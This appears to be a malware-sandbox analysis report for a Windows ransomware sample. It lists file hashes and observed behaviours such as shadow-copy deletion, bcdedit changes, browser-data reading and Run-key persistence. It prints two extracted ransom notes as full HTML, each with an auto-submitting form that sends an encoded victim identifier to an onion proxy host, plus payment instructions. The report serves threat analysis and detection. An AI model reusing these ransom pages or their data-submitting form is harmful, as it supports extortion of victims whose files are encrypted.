8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8

General

Target
jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.f6b7dbc3fcc9f61430e5db6e3ecc314e
Size 204KB
Sample261006-vj2fcastev
SHA256 8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8
MD5 f6b7dbc3fcc9f61430e5db6e3ecc314e
SHA1 3d2d0ec206ad00d3e49213805767f0a235916fea
SHA512 2ff209c5674db9ca9863b1d49f4db16fe134fd808149771997c4a1b5b478a10eb4e8cdb10d5faa953cc4ced7e8436d3ecd8bf5977beded35e08f82f4d9f01bd4
SSDEEP 3072:c+5k6qWFvYKRPPlgEOTved7vQ7/77xev+8nnkWQVlgBM1HSPH1Ya99a:753qGvYKRPdghTvOIxevznkOOFw1Yia
TLSH
T13114CFCBB801D1B4F8709531AB199EF26BB17D33C690555BF3C47F26F8B3026562A246
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\[HOW_TO_DECRYPT_FILES].html

Ransom Note

<html> <head> <title>How can I recover my files?</title> <style> html, body { font-family: lucida sans,tahoma,aerial,serif; font-size: 14px; overflow-x: hidden; background-color: #fff; padding-left: 1rem; } div.box { border: 1px dotted #212121; padding: 0.4rem; display: block; margin-top: 0.5rem; margin-bottom: 0.5rem; } input[type=submit] { border: none; padding: 0.1rem 0.7rem 0.1rem 0.7rem; background-color: #303f9f; color: #fff; } input[type=submit]:hover { background-color: #212121; } a { color: #212121; text-decoration: none; font-weight: bold; } a:hover { color: #3f51b5; text-decoration: underline; } </style> </head> <body onload="submit_form()"> <div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;"> <h3>What happened to my files?</h3> <p> All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>. </p> <h3>What does this mean?</h3> <p> This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them. </p> <h3>Is it possible to recover my files?</h3> <p> Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them. </p> <h3>How can I get the decryptor and the private key?</h3> <p> First, you'll need to synchronize your computer with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\KEY</span> by visiting any of the links below. <span style="display: block; font-size: 0.8rem;">*This file contains information to identify your computer and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span> </p> <p> After you've synchronized your computer with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files. </p> <div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;"> <form id="infection_form" action="http://lockerrwhuaf2jjx.onion.sx" method="POST"> <input type="hidden" name="infection" value="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"> <noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript> <input type="submit" value="Upload the KEY file"> </form> </div> <div class="box"> <p> Instructions to install Tor Browser (recommended). </p> <hr> <ol> <li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li> <li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li> <li>Then simply open the folder and click on "Start Tor Browser".</li> <li>Copy and paste the onion address into the address bar:<br><br><span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/NGIQBDLR_53322DF420F96C8B6522DF69/</span></li> </ol> </div> <div class="box"> <p style="text-align: center; color: red;"> Although it is not recommended to use web proxies to access the website, you can use the links below with a normal browser to access your page. Just remember to use the Tor Browser whenever making a payment. WARNING: The links below do not belong to us, they all go through someone else's server and should be avoided whenever possible. </p> <ol> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.sx/NGIQBDLR_53322DF420F96C8B6522DF69/">http://lockerrwhuaf2jjx.onion.sx/NGIQBDLR_53322DF420F96C8B6522DF69/</a></li> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/NGIQBDLR_53322DF420F96C8B6522DF69/">http://lockerrwhuaf2jjx.onion.link/NGIQBDLR_53322DF420F96C8B6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.rip/NGIQBDLR_53322DF420F96C8B6522DF69/">https://lockerrwhuaf2jjx.onion.rip/NGIQBDLR_53322DF420F96C8B6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/NGIQBDLR_53322DF420F96C8B6522DF69/">https://lockerrwhuaf2jjx.onion.to/NGIQBDLR_53322DF420F96C8B6522DF69/</a></li> </ol> </div> </div> </body> <script> function submit_form() { if (confirm('Do you want to synchronize your computer now?')) { document.infection_form.submit(); } } </script> </html>

Extracted

Path

C:\Users\Admin\AppData\Local\D3DSCache\b5a3c58d1e2d9326\[HOW_TO_DECRYPT_FILES].html

Ransom Note

<html> <head> <title>How can I recover my files?</title> <style> html, body { font-family: lucida sans,tahoma,aerial,serif; font-size: 14px; overflow-x: hidden; background-color: #fff; padding-left: 1rem; } div.box { border: 1px dotted #212121; padding: 0.4rem; display: block; margin-top: 0.5rem; margin-bottom: 0.5rem; } input[type=submit] { border: none; padding: 0.1rem 0.7rem 0.1rem 0.7rem; background-color: #303f9f; color: #fff; } input[type=submit]:hover { background-color: #212121; } a { color: #212121; text-decoration: none; font-weight: bold; } a:hover { color: #3f51b5; text-decoration: underline; } </style> </head> <body onload="submit_form()"> <div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;"> <h3>What happened to my files?</h3> <p> All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>. </p> <h3>What does this mean?</h3> <p> This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them. </p> <h3>Is it possible to recover my files?</h3> <p> Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them. </p> <h3>How can I get the decryptor and the private key?</h3> <p> First, you'll need to synchronize your computer with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\KEY</span> by visiting any of the links below. <span style="display: block; font-size: 0.8rem;">*This file contains information to identify your computer and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span> </p> <p> After you've synchronized your computer with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files. </p> <div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;"> <form id="infection_form" action="http://lockerrwhuaf2jjx.onion.sx" method="POST"> <input type="hidden" name="infection" value="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"> <noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript> <input type="submit" value="Upload the KEY file"> </form> </div> <div class="box"> <p> Instructions to install Tor Browser (recommended). </p> <hr> <ol> <li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li> <li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li> <li>Then simply open the folder and click on "Start Tor Browser".</li> <li>Copy and paste the onion address into the address bar:<br><br><span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/UMMWTUQB_5D06DD266B1416EC6522DF69/</span></li> </ol> </div> <div class="box"> <p style="text-align: center; color: red;"> Although it is not recommended to use web proxies to access the website, you can use the links below with a normal browser to access your page. Just remember to use the Tor Browser whenever making a payment. WARNING: The links below do not belong to us, they all go through someone else's server and should be avoided whenever possible. </p> <ol> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.sx/UMMWTUQB_5D06DD266B1416EC6522DF69/">http://lockerrwhuaf2jjx.onion.sx/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/UMMWTUQB_5D06DD266B1416EC6522DF69/">http://lockerrwhuaf2jjx.onion.link/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.rip/UMMWTUQB_5D06DD266B1416EC6522DF69/">https://lockerrwhuaf2jjx.onion.rip/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/UMMWTUQB_5D06DD266B1416EC6522DF69/">https://lockerrwhuaf2jjx.onion.to/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> </ol> </div> </div> </body> <script> function submit_form() { if (confirm('Do you want to synchronize your computer now?')) { document.infection_form.submit(); } } </script> </html>

Targets

- Target
  jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.f6b7dbc3fcc9f61430e5db6e3ecc314e
- Size 204KB
- SHA256 8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8
- MD5 f6b7dbc3fcc9f61430e5db6e3ecc314e
- SHA1 3d2d0ec206ad00d3e49213805767f0a235916fea
- SHA512 2ff209c5674db9ca9863b1d49f4db16fe134fd808149771997c4a1b5b478a10eb4e8cdb10d5faa953cc4ced7e8436d3ecd8bf5977beded35e08f82f4d9f01bd4
- SSDEEP 3072:c+5k6qWFvYKRPPlgEOTved7vQ7/77xev+8nnkWQVlgBM1HSPH1Ya99a:753qGvYKRPdghTvOIxevznkOOFw1Yia
- TLSH
  T13114CFCBB801D1B4F8709531AB199EF26BB17D33C690555BF3C47F26F8B3026562A246
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
- Deletes shadow copies
  Ransomware often targets backup files to inhibit system recovery.
  ransomware defense_evasion impact execution
- Modifies boot configuration data using bcdedit
  ransomware evasion
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Adds Run key to start application
  persistence
- Enumerates connected drives
  Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory
- Sets desktop wallpaper using registry
  ransomware
behavioral1 behavioral2